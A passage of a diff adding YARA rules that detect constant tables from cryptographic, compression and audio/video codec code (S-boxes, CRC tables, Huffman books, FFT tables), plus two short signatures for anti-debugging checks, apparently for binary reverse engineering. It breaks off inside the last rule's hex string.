+	$a0 = { 3feb049a9ed23da53fde4f2f1cf90a183ff72c753e707e173fd153c9a0f355223fe7d2dcc16189b33ff3df31f46ed2463ffd871a3b14a90400000000000000003febccf07e57c9c03fde807362a338543ff7a6ce358298cc3fd06e3b3c4123e23fe82f533f42352f3ff52af26c99864e40004669057d178300000000000000003fe84908218c97a83fe3ed633feb52743ff45755bccaf70a3fd6440f238972043fe81a06a184ca803ff2698aa8650e783ffa0e3cd9a5226400000000000000003fe87cfc3f811f4f3fe4a0f2becedd483ff4389f83be66023fd61c5c61d5b2fa3fe871737fff69ad3ff36e73e681a9b93ffc38d914d9abd80000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule zz__zigzag_coef_u_v__used_in_PAQ8_compression__8_byt_128_
+{
+strings:
+	$a0 = { 0001000001020302010000010203040504030201000001020304050607060504030201000102030405060707060504030203040506070706050405060707060700000102010000010203040302010000010203040506050403020100000102030405060707060504030201020304050607070605040304050607070605060707 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_p_box__8_byt_48_
+{
+strings:
+	$a0 = { 0f0906080909040c0602060a0103050f0a0f040705020e0609030c080d010b0000040804020f080d01010f07020b0e0f }
+
+condition:
+	$a0
+}
+
+	
+rule ACSS_reverse_sbox__8_byt_256_
+{
+strings:
+	$a0 = { 008040c020a060e0109050d030b070f0088848c828a868e8189858d838b878f8048444c424a464e4149454d434b474f40c8c4ccc2cac6cec1c9c5cdc3cbc7cfc028242c222a262e2129252d232b272f20a8a4aca2aaa6aea1a9a5ada3aba7afa068646c626a666e6169656d636b676f60e8e4ece2eae6eee1e9e5ede3ebe7efe018141c121a161e1119151d131b171f1098949c929a969e9199959d939b979f9058545c525a565e5159555d535b575f50d8d4dcd2dad6ded1d9d5ddd3dbd7dfd038343c323a363e3139353d333b373f30b8b4bcb2bab6beb1b9b5bdb3bbb7bfb078747c727a767e7179757d737b777f70f8f4fcf2faf6fef1f9f5fdf3fbf7fff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_alternate_vertical_scan__8_byt_64_
+{
+strings:
+	$a0 = { 000810180109020a111920283038393129211a12030b040c131b222a323a232b333b141c050d060e151d242c343c252d353d161e070f171f262e363e272f373f }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x1EDC6F41__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000416fdc1e82deb83dc3b1642304bd717b45d2ad658663c946c70c1558087ae3f649153fe88aa45bcbcbcb87d50cc7928d4da84e938e192ab0cf76f6ae519b1af310f4c6edd345a2ce922a7ed055266b881449b796d7f8d3b596970fab59e1f905188e251bdb3f41389a509d265d5c887e1c335460df8230439eedec5de359e9f8a23635e6618751c520e88ddbe7e49883a68b449d653a20be2455fca0eb230a0eaa4cd61069fdb23328926e2def9e7b75aef1a76b6d40c3482c2f1f56b2c2f30bf3ad2f15301c4b3671739728b67f8270f7105e6e34a13a4d75cee653bab810fdfbd7cce33866a8c0790974debe056186ff6abd983cdbd9bb7db405a587dc0eefc6b3d2f10502b6d2446d6acc83617f94c20ea38a01bfc7a940d01bb78fa6ed19cec931070d7855244c17893a8b1b9c62ca74407c09c5245f48aaf841d647141c9728c8025499ac2115f6703fd2fa65679395b9795024dd5a114b0144de3df7ea9f522bf45ce34fd71d8c93c9da8086919bef5a8f585e3eac1931e2b26485e71725ea3b09e65b5f2aa73483346038966c21574a72e2e62e51a389f24f6cff04e12d90d8ffee21bcdcaf4e60c26842759a292da984ea9ccda7abf311b9351efde4747121fab7c045d9f6af99c731a38c9f70cc5081b37d34a2f212e8bc3d641e127c0bc20cbfbaa62ffed57a3139d96f6978b6b377bb07d754fa680b4a4fd6c1c00eb91ddecd0879fd8c67a5e34b6bb0bb0a046ca5c9b5088688dad49847ac223606c3fe28c5729a0b841d46154311534d027e8f53c1cfeb7080a0376e1e4ddb335f22072d9c93630eddfcbf101af0aa485b9f7656982e1275d941ce6b163738c55758e4db94e980f8d5865ce6128a49be53e595a09054f183d13b2d9dac8f2838ede0f4262e5190056f3e4c1ba8325943e95d855d2aece17e6b833d60a4f5cbcee59a17d0262b73f36744afeda048bab5e12766ab2296028863f9de96fd1432cbbc7beed57fca8af63ea556e8f9a943b0b8c69fae7b77fb8d3a182793f56ed13db4010d2377b0690036dfb51ef1d3a046b0bc7c58730d187b3262c465c80acf2f896513314ad477120bbbab0cccb7be548dd8624a4e6906690f06da77c0702cd9811ff0c742ae94e403c148fac4cd5da285a281bc4613e59f077c39819991d5dcd8fe09c21b4f6de15a20b1ff9d2ca4a7dc4378b91ff21c9a5e9dc08491eb362ad084ea3413358e17525a520995564751d4399b4f1788ff6c56e723722b5326d76a3cfac9a98d9eeae8e242f42fee57ac6e818bb2ad30ef91ec5f338f2329c5216246193fa1f77d1ce098a1022794b45a66fb6844a54a0c67e425d0797ac83c243ba7e03af8168419b97958077e754d5f3f1a9141fcabf562bdc4297c72b2dfd233dd03ccf06c67efb103bbf1760faea9376072b7f4d11694b5beca8a }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox3__32_big_256_
+{
+strings:
+	$a0 = { 00000208080202000000000008020008080002000000000000020208080002000002000808000008080000080002000008020208000200080802000000000208080000000000000808020200000002000002020008020000080200080002020808000208000202000002000008000208000000080802020800000200080000000802020008000000000200080000020800020000080202000800020000000000000002000002000808020208080002000800000800000200000000000802000808000208000200000800000008020208000000080002020800020200080000080802000008000208000002080802000000020208000000080802000800020200 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_atrac_qmf_48tap_half__flt32___32_big_96_
+{
+strings:
+	$a0 = { b775446db8c10d8ab86b8abb399de6b7397e0500ba5f97c4ba0876043b054d243a4d58fcbb8a2139ba46385c3c007494b880485abc5c3a3e3b2164f33cb20fe2bbffa529bd0ba2303c9a165c3d5e84f3bd32921ebdcb8a083e073fbe3eedb113 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xd6d6a3e8__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000000aee7c7815dcf8f01f328488043327370edd5b4f11efdfc71b01a3bf08664e6e028832161dbab69e1754cae60c55695906bb1521198991a91367edd110cc9cdc1a22e0a40510642c0ffe185414ffbbeb1e11c7930123431b0bcd3f6318aad2b21244aeca0d762a420798563a1c99f585167789fd09450d7503ab710d0e13ef6f04fd93171bcf179f11216be70a20c85800ceb4201ffc30a815124cd00675a1010c9bdd7913a959f1194725890246863608a8fa4e179a7ec61d7402be1edf73b314310fcb0b038b4301edf73b1aec5484100228fc0f30ac7405ded00c16b93ddd1c5741a50365c52d098bb955128a1aea186466920756e21a0db89e621c27dede16c9a2a609fb262e03155a561814f9e912fa85910dc8011907267d61144190b01eafecc8019d68400b7314381072b7871a9ccbff05ae4f770f40330f0ceb420206053e7a1937baf213d9c68a08d865350236194d1d049dc517eae1bd048d0c6c0e6370141151f49c1bbf88e400be2b5b0a5057231562d3ab1f8cafd3123431b118da4dc907e8c9410d06b539160716861ce96afe03dbee760935920e1a527fdf10bc03a70f8e872f0560fb571e6158e8148f24900bbda0180153dc6002f8ad6d0816d1151724559d1dca29e506cb8a5a0c25f622131772aa19f90ed20a9ee30300709f7b1f421bf315ac678b0eadc4340443b84c1b713cc4119f40bc17c56b6b1d2b17130219939b08f7efe313f64c5c19183024062ab4ac0cc4c8d41fa32505154d597d0a7fddf50091a18d1b900232117e7e4a0e4cfac204a286ba0709f7b70de78bcf12d50f47183b733f033ad08009d4acf816e628701c0854080f6fb9d90581c5a11ab34129105d3d510b5c9eee01b2e2961e80661e146e1a6619d684041338f87c0c0a7cf406e4008c1de5a333170bdf4b08395bc302d727bb11b0ca6a1b5eb612046c329a0e824ee21583ed5d1f6d9125005f15ad0ab169d5091a18d803f464a01cc6e02816289c500d293fef07c7439718f5c71f121bbb67017c56b60b922ace14a0ae461e4ed23e054f71810fa10df9109389711a7df5090be2b5b5010cc9cd1e3e4d4514d0313d0fd19282053feefa1a0d6a7210e3160a0384fbdb096a87a31658032b1cb67f5307b7dcec0d59a094126b241c188558641b2e296911c055110ef2d199041cade11f1d0e5e15f372260ac1f6ae002f8ad61348670719a61b7f06949ff70c7ae38f177b40301d953c4802a7b8c00849c4b805f15ada0f1f26a2102da22a1ac3de5201c27ded0b2c0195141e851d1ef0f9650d9714b4077968cc184bec4412a5903c09a43383034a4ffb1c78cb731696b70b153dc6061fd3ba7e00e13ef60a0f428e110ee1311be09d4904d219c10e3c65b91d5b886817b5f4100887709802690ce01968af5f1386d3270cb457af065a2bd7 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_240__16_lil_100_
+{
+strings:
+	$a0 = { 2fed3952f154a9e420263eeed609402cb5efe02be13f39332f44fee65844dff931f2db43b03d05f77b4ffbfead26dc0cc2333907be12a243df1b3e1f11029607eb2a3f160d05383a1e0d780d0f154633a4387d0b5d2ddf1fb7192228990d121f4c19e60c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossless_quant__32_big_128_
+{
+strings:
+	$a0 = { 00000000004000000020000000151eb800100000000a9fbe0008000000054fdf00040000000200000000ff97000081020000404200002010000010040000080100000400000002000000010000000080000000400000002000000010000000080000000400000002000000010000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__OllyDbg_Instruction_Prefix_Detection__8_byt_30_
+{
+strings:
+	$a0 = { 64ff350000000064892500000000f364f1648f050000000083c404616a30 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__PEB_IsDebugged__2___8_byt_11_
+{
+strings:
+	$a0 = { 64a1300000008b400285c0 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book9__32_lil_2028_
+{
+strings:
+	$a0 = { 0000000001000000000000000100000003000000050000000200000006000000370000000300000008000000e70000000400000009000000de010000050000000a000000ce030000060000000a000000d9030000070000000b000000c8070000080000000b000000cd070000090000000c000000c80f00000a0000000c000000dd0f00000b0000000d000000e41f00000c0000000d000000ec1f00000d00000003000000040000000e000000040000000c0000000f00000006000000350000001000000007000000720000001100000008000000ea0000001200000008000000ed0000001300000009000000e2010000140000000a000000d1030000150000000a000000d3030000160000000a000000e0030000170000000b000000d8070000180000000c000000cf0f0000190000000c000000d50f00001a00000006000000360000001b00000006000000340000001c00000007000000710000001d00000008000000e80000001e00000008000000ec0000001f00000009000000e1010000200000000a000000cf030000210000000a000000dd030000220000000a000000db030000230000000b000000d0070000240000000c000000c70f0000250000000c000000d40f0000260000000c000000e40f00002700000008000000e60000002800000007000000700000002900000008000000e90000002a00000009000000dd0100002b00000009000000e30100002c0000000a000000d20300002d0000000a000000dc0300002e0000000b000000cc0700002f0000000b000000ca070000300000000b000000de070000310000000c000000d80f0000320000000c000000ea0f0000330000000d000000db1f00003400000009000000df0100003500000008000000eb0000003600000009000000dc0100003700000009000000e6010000380000000a000000d5030000390000000a000000de0300003a0000000b000000cb0700003b0000000b000000dd0700003c0000000b000000dc0700003d0000000c000000cd0f00003e0000000c000000e20f00003f0000000c000000e70f0000400000000d000000e11f0000410000000a000000d00300004200000009000000e00100004300000009000000e4010000440000000a000000d6030000450000000b000000c5070000460000000b000000d1070000470000000b000000db070000480000000c000000d20f0000490000000b000000e00700004a0000000c000000d90f00004b0000000c000000eb0f00004c0000000d000000e31f00004d0000000d000000e91f00004e0000000b000000c40700004f00000009000000e5010000500000000a000000d7030000510000000b000000c6070000520000000b000000cf070000530000000b000000da070000540000000c000000cb0f0000550000000c000000da0f0000560000000c000000e30f0000570000000c000000e90f0000580000000d000000e61f0000590000000d000000f31f00005a0000000d000000f71f00005b0000000b000000d30700005c0000000a000000d80300005d0000000a000000e10300005e0000000b000000d40700005f0000000b000000d9070000600000000c000000d30f0000610000000c000000de0f0000620000000d000000dd1f0000630000000d000000d91f0000640000000d000000e21f0000650000000d000000ea1f0000660000000d000000f11f0000670000000d000000f61f0000680000000b000000d2070000690000000a000000d40300006a0000000a000000da0300006b0000000b000000c70700006c0000000b000000d70700006d0000000b000000e20700006e0000000c000000ce0f00006f0000000c000000db0f0000700000000d000000d81f0000710000000d000000ee1f0000720000000e000000f03f0000730000000d000000f41f0000740000000e000000f23f0000750000000b000000e1070000760000000a000000df030000770000000b000000c9070000780000000b000000d6070000790000000c000000ca0f00007a0000000c000000d00f00007b0000000c000000e50f00007c0000000c000000e60f00007d0000000d000000eb1f00007e0000000d000000ef1f00007f0000000e000000f33f0000800000000e000000f43f0000810000000e000000f53f0000820000000c000000e00f0000830000000b000000ce070000840000000b000000d5070000850000000c000000c60f0000860000000c000000d10f0000870000000c000000e10f0000880000000d000000e01f0000890000000d000000e81f00008a0000000d000000f01f00008b0000000e000000f13f00008c0000000e000000f83f00008d0000000e000000f63f00008e0000000f000000fc7f00008f0000000c000000e80f0000900000000b000000df070000910000000c000000c90f0000920000000c000000d70f0000930000000c000000dc0f0000940000000d000000dc1f0000950000000d000000df1f0000960000000d000000ed1f0000970000000d000000f51f0000980000000e000000f93f0000990000000e000000fb3f00009a0000000f000000fd7f00009b0000000f000000fe7f00009c0000000d000000e71f00009d0000000c000000cc0f00009e0000000c000000d60f00009f0000000c000000df0f0000a00000000d000000de1f0000a10000000d000000da1f0000a20000000d000000e51f0000a30000000d000000f21f0000a40000000e000000fa3f0000a50000000e000000f73f0000a60000000e000000fc3f0000a70000000e000000fd3f0000a80000000f000000ff7f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_MIC__16_lil_16_
+{
+strings:
+	$a0 = { E0FFE0FFF0FFF0FFF8FFF8FFFCFFFCFF }
+
+condition:
+	$a0
+}
+
+	
+rule Sine_table__8_byt_256_
+{
+strings:
+	$a0 = { 808386898c8f9295989c9fa2a5a8abaeb0b3b6b9bcbfc1c4c7c9ccced1d3d5d8dadcdee0e2e4e6e8eaecedeff0f2f3f5f6f7f8f9fafbfcfcfdfefefffffffffffffffffffffffefefdfcfcfbfaf9f8f7f6f5f3f2f0efedeceae8e6e4e2e0dedcdad8d5d3d1ceccc9c7c4c1bfbcb9b6b3b0aeaba8a5a29f9c9895928f8c898683807c797673706d6a6763605d5a5754514f4c494643403e3b383633312e2c2a272523211f1d1b1917151312100f0d0c0a0908070605040303020101000000000000000000000001010203030405060708090a0c0d0f1012131517191b1d1f212325272a2c2e313336383b3e404346494c4f5154575a5d6063676a6d707376797c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossy_quant_d__flt32___32_big_128_
+{
+strings:
+	$a0 = { 000000003fcccccd3f8000003f4ccccd3f170a3d3f0000003ed70a3d3eae147b3e428f5c3de147ae3d75c28f3d0f5c293c9ba5e33c3439583bd4fdf43b83126f3b23d70a3ab780343a51b71739ebedfa399d49523932420738a7c5ac3827c5ac37a7c5ac3727c5ac36a7c5ac0000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule G_711_u__to_A_law_conversions__81_82___8_byt_128_
+{
+strings:
+	$a0 = { 01010202030304040505060607070808090a0b0c0d0e0f101112131415161718191b1d1f2122232425262728292a2b2c2e303132333435363738393a3b3c3d3e404142434445464748494a4b4c4d4e4f5152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f80 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_256__flt32___32_lil_2048_
+{
+strings:
+	$a0 = { 0000803f0000000043ec7f3fb00ac93c0fb17f3f30fb483d6d4e7f3f05a9963d6dc47e3f36bdc83d24137e3f73b2fa3dac3a7d3f8340163e283b7c3fa3102f3ebe147b3fc2c5473e9dc7793f135c603ef853783fcdcf783e07ba763f948e883e0bfa743f31a0943e4714733fe59aa03e0809713fd47cac3e9ed86e3f2a44b83e5e836c3f16efc33ea6096a3fcb7bcf3ed86b673f80e8da3e59aa643f7533e63e97c5613fea5af13e05be5e3f285dfc3e1a945b3f3d9c033f5348583f9bf5083f31db543fda390e3f3d4d513f2b68133f029f4d3fc07f183f12d1493fd27f1d3f03e4453f9a67223f70d8413f5636273ff9ae3d3f4aeb2b3f4268393fbb85303ff304353ff304353fba85303f4268393f49eb2b3ffaae3d3f5536273f71d8413f9967223f03e4453fd17f1d3f12d1493fc07f183f029f4d3f2a68133f3d4d513fd9390e3f32db543f9bf5083f5348583f3c9c033f1b945b3f275dfc3e05be5e3fe75af13e98c5613f7433e63e59aa643f81e8da3ed86b673fc97bcf3ea7096a3f15efc33e5e836c3f2744b83e9ed86e3fd37cac3e0809713fe29aa03e4814733f30a0943e0bfa743f938e883e07ba763fc8cf783ef853783f125c603e9dc7793fbcc5473ebf147b3fa0102f3e283b7c3f8540163eac3a7d3f6cb2fa3d24137e3f35bdc83d6dc47e3ffba8963d6d4e7f3f29fb483d0fb17f3f7e0ac93c43ec7f3f0000803f000000000fb17f3f30fb483d6dc47e3f36bdc83dac3a7d3f8340163ebe147b3fc2c5473ef853783fcdcf783e0bfa743f31a0943e0809713fd47cac3e5e836c3f16efc33ed86b673f80e8da3e97c5613fea5af13e1a945b3f3d9c033f31db543fda390e3f029f4d3fc07f183f03e4453f9a67223ff9ae3d3f4aeb2b3ff304353ff304353f49eb2b3ffaae3d3f9967223f03e4453fc07f183f029f4d3fd9390e3f32db543f3c9c033f1b945b3fe75af13e98c5613f81e8da3ed86b673f15efc33e5e836c3fd37cac3e0809713f30a0943e0bfa743fc8cf783ef853783fbcc5473ebf147b3f8540163eac3a7d3f35bdc83d6dc47e3f29fb483d0fb17f3f2ebd3bb30000803f41fb48bd0fb17f3f41bdc8bd6dc47e3f8a4016beac3a7d3fc2c547bebe147b3fcdcf78bef853783f33a094be0afa743fd67cacbe0809713f18efc3be5e836c3f80e8dabed86b673fed5af1be97c5613f3d9c03bf1a945b3fdc390ebf30db543fc17f18bf029f4d3f996722bf04e4453f4beb2bbff8ae3d3ff30435bff304353ffbae3dbf48eb2b3f04e445bf9967223f049f4dbfbd7f183f32db54bfd9390e3f1a945bbf3d9c033f99c561bfe65af13ed86b67bf7fe8da3e60836cbf10efc33e090971bfd27cac3e0bfa74bf33a0943ef85378bfc5cf783ebf147bbfc1c5473eac3a7dbf7a40163e6dc47ebf30bdc83d0fb17fbffdfa483d0000803f000000006d4e7f3f05a9963dac3a7d3f8340163e9dc7793f135c603e0bfa743f31a0943e9ed86e3f2a44b83ed86b673f80e8da3e05be5e3f285dfc3e31db543fda390e3f13d1493fd17f1d3ff9ae3d3f4aeb2b3fba85303f4268393f9967223f03e4453f2b68133f3d4d513f3c9c033f1b945b3f7433e63e59aa643f15efc33e5e836c3fe59aa03e4714733fd0cf783ef853783fa0102f3e283b7c3f35bdc83d6dc47e3fbe0ac93c43ec7f3f41fb48bd0fb17f3f77b2fabd23137e3fc2c547bebe147b3f928e88be07ba763fd27cacbe0809713fcb7bcfbea6096a3fed5af1be97c5613f9cf508bf5248583fc17f18bf029f4d3f563627bf70d8413ff30435bff304353f70d841bf5636273f029f4dbfc17f183f524858bf9cf5083f97c561bfed5af13ea7096abfc77bcf3e090971bfd27cac3e07ba76bf928e883ebf147bbfc1c5473e23137ebf76b2fa3d0fb17fbf3dfb483d43ec7fbf840ac9bc6dc47ebf47bdc8bd283b7cbfa9102fbef85378bfd0cf78be471473bfe69aa0be5e836cbf15efc3be59aa64bf7433e6be1b945bbf3c9c03bf3e4d51bf296813bf05e445bf986722bf416839bfbc8530bf49eb2bbffaae3dbfd17f1dbf13d149bfd6390ebf34db54bf275dfcbe05be5ebf7be8dabed96b67bf2c44b8be9dd86ebf2da094be0bfa74bf1c5c60be9dc779bf7f4016beac3a7dbf1fa996bd6d4e7fbf0000803f000000006dc47e3f36bdc83dbe147b3fc2c5473e0bfa743f31a0943e5e836c3f16efc33e97c5613fea5af13e31db543fda390e3f03e4453f9a67223ff304353ff304353f9967223f03e4453fd9390e3f32db543fe75af13e98c5613f15efc33e5e836c3f30a0943e0bfa743fbcc5473ebf147b3f35bdc83d6dc47e3f0000803f00000000be147b3fc2c5473e5e836c3f16efc33e31db543fda390e3ff304353ff304353fd9390e3f32db543f15efc33e5e836c3fbcc5473ebf147b3f2ebd3bb30000803fc2c547bebe147b3f18efc3be5e836c3fdc390ebf30db543ff30435bff304353f32db54bfd9390e3f60836cbf10efc33ebf147bbfc1c5473e0000803f000000000bfa743f31a0943e31db543fda390e3f9967223f03e4453f15efc33e5e836c3f35bdc83d6dc47e3fc2c547bebe147b3fed5af1be97c5613ff30435bff304353f97c561bfed5af13ebf147bbfc1c5473e6dc47ebf47bdc8bd5e836cbf15efc3be05e445bf986722bfd6390ebf34db54bf2da094be0bfa74bf0000803f000000005e836c3f16efc33ef304353ff304353f15efc33e5e836c3f0000803f00000000f304353ff304353f2ebd3bb30000803ff30435bff304353f0000803f0000000015efc33e5e836c3ff30435bff304353f5e836cbf15efc3be0000803f000000000000803f000000000000803f000000002ede4c32000080bf }
+
+condition:
+	$a0
+}
+
+	
+rule SNOW_SBox_3__32_big_1024_
+{
+strings:
+	$a0 = { 20024000000240002002400801100409001204080102440820000408001200012110400001104408011244082002440801100401211040092102000920024001211000090012400121120001201000010100000001120409200040002002040900104000201000080110040801124401201204010012000820120009000004090012400800100000200044092012000000100401000200090110000021020001200000090110400800120409211000000010400100004400211244090100040800020401210044082110040121104400201044010102440921000401010004090110440900020001010204082110000101124409210040000100440020020000000040080002400801004001000240010002000800004000211240080000000821024400200000000100000901000400201244010000400900024009010204002112000020100000010044092010400021000009200244002012440921120401001244080112040020020401011200090110400121004400200200090012400001020009200004092100440100000001001040080012000001024401211244012000000821104409010204010012400900020400010204092012400001024008210240082102040121104401000044010010000821100408200204000002440101104009200040092102440121004001011000012010400821000400010240012000040120020008001204000112000021120400210204082012000101100008011040002110000800104009211040012112440020100009210240010110440021020008010240000112040101024009000004082012440000124401200000010012000901120008201044080102000000024409200044082000440000000000000044082002000101004009210244092110040020004008000204092102000000000400211200090010040821000001200244010112400920024009210044092012040000104401201200082102040901020001001244002000400120124008210040080110440101100009001000090100000121120008201004000102000820120409211044080100440801124001010040002100040801024400000244082012400900120401211240000000000921124009010000082100040920104001210240090000040121024000200244092010040920104009001000010002040801124000001004090000400121020400201004082100400921000000200044012100000801004401201004010002440001120408211040082012440820120408211004090100400820104409001044090112400800100400000044092102440801100400211204092010440021124408211240010112440021120408000200002002040801120001201240012000040000124409001044080100040100104400 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book5__32_lil_972_
+{
+strings:
+	$a0 = { 000000000d000000ff1f0000010000000c000000f70f0000020000000b000000f4070000030000000b000000e8070000040000000a000000f1030000050000000b000000ee070000060000000b000000f9070000070000000c000000f80f0000080000000d000000fd1f0000090000000c000000fd0f00000a0000000b000000f10700000b0000000a000000e80300000c00000009000000e80100000d00000008000000f00000000e00000009000000ec0100000f0000000a000000ee030000100000000b000000f2070000110000000c000000fa0f0000120000000c000000f40f0000130000000a000000ef0300001400000009000000f20100001500000008000000e80000001600000007000000700000001700000008000000ec0000001800000009000000f0010000190000000a000000ea0300001a0000000b000000f30700001b0000000b000000eb0700001c00000009000000eb0100001d00000008000000ea0000001e000000050000001a0000001f00000004000000080000002000000005000000190000002100000008000000ee0000002200000009000000ef010000230000000b000000ed070000240000000a000000f00300002500000008000000f200000026000000070000007300000027000000040000000b00000028000000010000000000000029000000040000000a0000002a00000007000000710000002b00000008000000f30000002c0000000b000000e90700002d0000000b000000ef0700002e00000009000000ee0100002f00000008000000ef00000030000000050000001800000031000000040000000900000032000000050000001b0000003300000008000000eb0000003400000009000000e9010000350000000b000000ec070000360000000b000000f6070000370000000a000000eb0300003800000009000000f30100003900000008000000ed0000003a00000007000000720000003b00000008000000e90000003c00000009000000f10100003d0000000a000000ed0300003e0000000b000000f70700003f0000000c000000f60f0000400000000b000000f0070000410000000a000000e90300004200000009000000ed0100004300000008000000f10000004400000009000000ea010000450000000a000000ec030000460000000b000000f8070000470000000c000000f90f0000480000000d000000fc1f0000490000000c000000fc0f00004a0000000c000000f50f00004b0000000b000000ea0700004c0000000a000000f30300004d0000000a000000f20300004e0000000b000000f50700004f0000000c000000fb0f0000500000000d000000fe1f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_48_960_and_sfb_32_960__16_big_100_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c0020002400280030003800400048005000580060006c00780084009000a000b000c400d800f00108012401400160018001a001c001e00200022002400260028002a002c002e00300032003400360038003a003c00000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_fax_ccitt_codes_bits__8_byt_208_
+{
+strings:
+	$a0 = { 350707080b0c0e0f13140708080334352a2b270c08170304282b13241802031a1b12131415161728292a2b2c2d04050a0b52535455242558595a5b4a4b3233341b121737363764656867cccdd2d3d4d5d6d7d8d9dadb98999a189b080c0d1213141516171c1d1e1f3702030203030203050404050704071817180867686c37281718cacbcccd68696a6bd2d3d4d5d6d76c6ddadb5455565764655253243738272858592b2c5a66670fc8c95b3334356c6d4a4b4c4d727374757677525354555a5b6465080c0d1213141516171c1d1e1f }
+
+condition:
+	$a0
+}
+
+	
+rule Melp_fsvq_cb__flt64___64_big_8192_
+{
+strings:
+	$a0 = { 3fea55ffe6d58c8f3ff7f0d51f81a5873fe2b7110e453d213ff5041fea8112ba3feb127f5e84f0953fe3a6394face67d3fe3b0856e696a273fec37dc7abfb9bf3ff3a325d4a5df223fecde225fa658c53ff3f86c226809d53ff0537c1376d5493fe08cc575c0767d3ff7d344806290ef3fe4d0e12e83a10a3fe6f0e0a84be4043fe4cfa8b4bf8fcd3ff42a6d267408103febdf6db940fece3fed0dc768dfbd6a3ff2ada33bd9cae23ff77d4cfd08d4bb3fe7c94b380cb6c83fe6cacaff6d33093ff9075818c5c9a33fe712c4934267843fe0e7a52ac753e73fe50a76102795703fe86c5d206c87123feb17cc39ffd60f3ff0b074a771c9713ff91fd36f7e3d1d3fdc7168f8e7ddca3feddcc63f1412063ff3636c15d2d01c3fe56f9335d249e43fedd8793dd97f633fe9cea077036c9c3fed3dbe3c1051873febc8a7a41e57da3fe84ac29bf162ae3ff09b36bd2b6f1a3ff2080e8c8abd5e3ff22187a4a48f973fe94039abf338713fe9d6366d7a56de3ff0e0e51d25aab43fee65907d9125573ff02034f3fd933e3ff1e936c58eeaea3fef456d5cfaacda3ff2181e03f705853ff0b6af89c5e6ff3ff6ed81adea89763fea3c85c24c404a3fe091b60ae9680e3fedd63a9f383f0c3feedcfede97d06c3fec6136e71cda2b3feca76965f5275f3fe551676640a6b93ff5d31a8ef77f283ff16c4c5974e65c3fecde41d4b6a61a3ff1c5fe111276fb3fef62a3cea6c1a03feda7b2cc70867b3febc45aa2e3c5373fed9a08bfc2224f3fed3bc0a06e9ff13fef7640639d5e4a3ff75e8815e397143fe76ec7c957cd463fed8d1b71758e223ff16ad1d041cc533fee792af9a8cdea3fe944ed6fda836f3ff066bc621b7e0b3fecf30e7ff583a53feb56bca5375c8e3fe65013a92a30553ffa6aa19439de483fe03497b7414a4d3fe9e8448cf7caa73ff1d2e9468017123ff156bebe1650a43fe426d2674080fa3fef8f3eccc469513febe147ae147ae13fefe82949a565803fe7fb3743632c1f3ff5adfb506dd69d3fe7680e065300583ff480c521dda05a3ff14b8e086bdf4c3ff09883ba3443d43fe7f123c42a66dc3fea49abb01c92de3fec27a41e57d9dc3feee425aee631f93fef42bd7f51efb7400013647baa9b4a3fe7bb1f255f351a3fe36b69db65ecc43fe4a33df2a9d6283fe5ff498c3b0c463fe854de7ea5f84d3feaaa8a82a5614e3febd5d1c3ac929b3fe9efe4ffc9795b3fe275e41d4b6a623ff87220791c4b903fe50be7296f65133ff01b9a5a89b9523ff3a0fc2eba27af3fe92ceaaf35e3113fefb8023a6ce3583fea46fbd273d5bb3ff03d5fdcdf69883fec190d173fb7a63fe08cfe154434e33ff388a372606fac3fec5eaab042528b3fef5d69d30270f43fec4cb7d41743e93ff0a939eadd590c3fee60780fdc16163fec3393ab430f493ff5f9b56323bbc73fec8101f31f46ed3fe4db9e8c47a17f3ff1b56861e929243fec536501e2584f3ff544bc27631b583ff1fd7e45803cd13fe40e90bc7b45f13ff42d98bf7f06703fea5188f42fe8253feef10cb295e9e23fe9cc404a72ead93fe3a8a1dfb9389b3ff6e2d6238da3c23fecca4f440af1cc3feb1c0010c6f7a13fe3fc73eee525893ff4e9b38d60a6333ff5c5985ad538ac3fe788b545c78a6e3feb567ba237cdcd3fe597a89331a08c3fea944ed6fda8373ff5f823c85c24c43fe926a4441787053fe78ce91c8eac003feefff583a53b8e3ff19c7de5082cf53fedaf0e0a84be403fe74f7446f9b9953ff4ac28b2a6b0d93fec51958969a0ae3ff15869835158b83ff62c1a048e043a3fdcb3e5753a3ec03ff4c26351deefe53fe8a8d8665e02eb3fe70433d6c721923ff14ad14a0a0f4d3fed1d606317268d3fead3586ca89fc73fed1c9b413986343ff3e9ea140570823ff28903ea704bc23fe3b44806290eed3ff2b6ad70e6f2e93ff0861522a6f3f53fed7f75968512233fed540aaeafab543ff0f72a38b8ae323feac89f40a2877f3fe88c176577531e3ff5059b8023a6ce3ff57671ac14c6613fded4562e09fe873fe5f07182235b4f3ff1639a38fbca103ff00e2d1f1cfbb93fe86358298cc1443feaa3fcc9ea9a3d3ff14e4ead0c3d253fed5970b49e01de3ff6d58d9b5e95b83fedd76683c297c03fe3117507e9d94d3fe4e22e5de15ca73ff12e7f6f4be8363feb1e8e608073583ff43994e1a3f4663fecc8b86b15f8903fecc6c54bcf0b6b3feeafd5454152b13ff071a4bdba0a523ff36d0d49949e883fecae6a76965f523fef1adea897635e3feaf1327243137b3fe7a036006d0d4a3ff0c5a5fc7e6b403ff13f01322f27353fee7b677f6b1a2a3ff0e6aec0724b773fee78d92fb